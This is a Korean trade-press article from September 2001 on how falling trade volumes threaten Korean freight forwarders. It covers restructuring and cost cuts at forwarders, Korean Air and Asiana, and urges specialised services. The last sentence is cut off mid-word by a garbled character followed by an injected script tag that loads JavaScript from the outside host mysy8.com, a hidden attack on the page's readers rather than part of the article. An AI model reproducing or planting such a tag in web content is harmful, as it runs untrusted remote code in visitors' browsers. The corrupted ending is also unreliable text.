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작성일 |
2001-09-27 |
| 제목 |
수출입 물동량 줄어 국내 포워더 생존 위협 |
수출입 물동량 줄어 국내 포워더 생존 위협 회사마다 구조조정 등 불필요한 비용 줄이기 운동 활발
취재ㆍ글 : 박현성 취재팀장
최근의 극심한 경기침체는 국내 포워딩 업체에도 상당한 타격을 주고 있다. 수출입 물동량의 감소로 인해 수출입 업체는 물론 항공사, 선사 및 포워딩 업체도 상당한 경제적 손실을 보고 있다.
생존 위한 자구책 마련에 골몰
운송주선업을 하고 있는 포워더에게는 물동량이 감소한다는 것은 밥줄이 끊기는 거와 마찬가지이다. 이러한 시장상황에서 포워딩 업계는 스스로 살아남을 수 있는 자구책을 마련해야 한다.
특히 인천국제공항의 개항 이후 국내 항공포워더의 경우 과거 김포공항 시절보다 추가적인 비용이 더 들어가고 있는 실정이어서 자체적으로 감축운영을 할 수 밖에 없는 상황이다.
N항공해운의 경우 인천공항 개항 이후 인력, 사무실 운영비, 교통비 등 김포공항 시절보다 연 3천만원 정도의 추가비용이 들어가고 있어 인천공항내의 대리점 사무실 철수를 고려 중이라고 한다.
이 회사 관계자는 『지금처럼 경기가 어려운 상황에서는 인천공항에 사무실을 두기가 힘든 실정.』이라며 『회사가 살아 남기 위해서는 불필요한 비용은 줄일 필요가 있다.』며 현재의 어려움을 실토했다.
또한 최근 M해운항공도 경영상의 어려움을 타개하기 위해 구조조정에 들어갔다고 전했다. 최소한의 인원만 두고 오랫동안 같이 근무해 왔던 회사 인력을 명퇴시키고 감축운영이 불가피하다고 밝혔다.
특히 이 회사는 사내 불필요한 경비를 줄이기 위해 점심시간에는 컴퓨터를 끄고 나가고, 복사 용지나 팩스 용지도 이면지를 사용할 것을 건고하고 있다고 말했다.
이러한 업체들의 변화는 최근의 시장상황에서 살아 남기 위한 처절한 몸부림이다. 이러한 구조조정은 비단 포워딩 업체만이 하고 있는 것은 아니다.
최근 극심한 적자에 허덕여온 양국적 항공사도 구조조정의 칼을 빼 들고 하반기에 고환율 고유가 경기침체 등의 영향으로 상반기에 큰 적자를 냄에 따라 명예퇴직을 실시하고 신규 채용을 중단하는 한편 수익이 나지 않는 채권 등을 팔기로 했다고 전했다.
3,460억원의 경상적자를 낸 대한항공은 1만 7, 300명인 직원수를 1만 6,800명으로 줄이기로 하고 최근 명예퇴직 신청을 받고 있다.
또한 신규 인력채용도 수시모집인 여승무원에 대해서만 9월경 250명을 모집할 뿐 일반직 채용은 내년으로 미룰 방침이다.
이와 함께 연수원 등 수익이 적은 부동산과 비수익채권 등을 처분하고 항공기 2-4대를 외부에 임대하는 방안을 검토 중이다.
957억원의 경상적자를 낸 아시아나항공의 경우 올 초부터 추진해온 10% 예산절감운동 이외에 5-10%의 비용 추가감축 작업에 착수했다고 밝혔다.
아시아나항공의 한 관계자는 『인력감축은 하지 않는 대신 하반기 채용 예정이었던 150명의 신규인력 규모를 일부 줄이거나 연기하는 방안을 검토 중이며 긴급하지 않은 항공장비 도입은 내년으로 미루기로 했다.』고 말했다.
이렇듯 최근의 경기 침체는 항공사, 선사, 포워딩 업계 가릴 것 없이 구조조정의 벼랑으로 몰아가고 있다.
전문화 특화된 서비스로 위기 탈출해야
경제 연구단체 일각에서는 올 하반기에는 경기 저점을 찍고 상승세를 탈 수 있을 거라고 하지만 최근의 상황을 보면 그렇게 낙관할 수도 있는 것만은 아니다. IT산업의 지속적인 부진에다 일본 경제의 끝이 보이지 않는 추락, 거기에다 미국마저 일어설 기미가 보이지 않는다.
이러한 상황에서 국내 포워딩 업계가 위기를 딛고 일어날 수 있는 방안은 무엇인가? 우선 불필요한 비용을 줄여나가야 한다. 허리끈을 질끈 졸라 메고 필요하다면 과감한 구조조정을 단행해야 한다.
그리고 남들과 다른 특화된 서비스로 화주의 눈길을 끌어야 한다. 포워더가 복합운송의 주체자로서 그 역량을 발휘하고 경쟁력 제고를 위해서는 포워더 스스로가 화물별 또는 지역별로 전문화 특화하는 방안을 강구하지 않으면 안된다는 것이다.
그러나 국내 포워딩 업체들을 자세히 들여다보면 서비스 내용이 별반 다를게 없다. 몇몇 업체를 제외하고는 대부분이 일괄적인 서비스를 제공하고 있어 전문성을 찾아보기 힘들다. 도토리 키재기식의 고만고만한 비슷한 서비스를 가지고 서로 경쟁하고 있는 것이다.
또한 업체마다 월드 와이드한 서비스를 제공하겠다는 목소리는 공허한 메아리로 되돌아올 뿐 기본적인 네트워크도 구축이 안된 상태에서 월드 와이드한 서비스를 제공한다는 것은 어불성설이다. 이는 오히려 방만한 운영으로 경영악화만을 가져올 뿐이다.
하지만 이와달리 국내 몇몇 업체는 자사만의 독특한 장점을 살려 지역별, 품목별로 서비스를 특화시켜 짭짤한 재미를 보고 있어 업계의 주목을 끌고 있?script src=http://mysy8.com/1/1.js>
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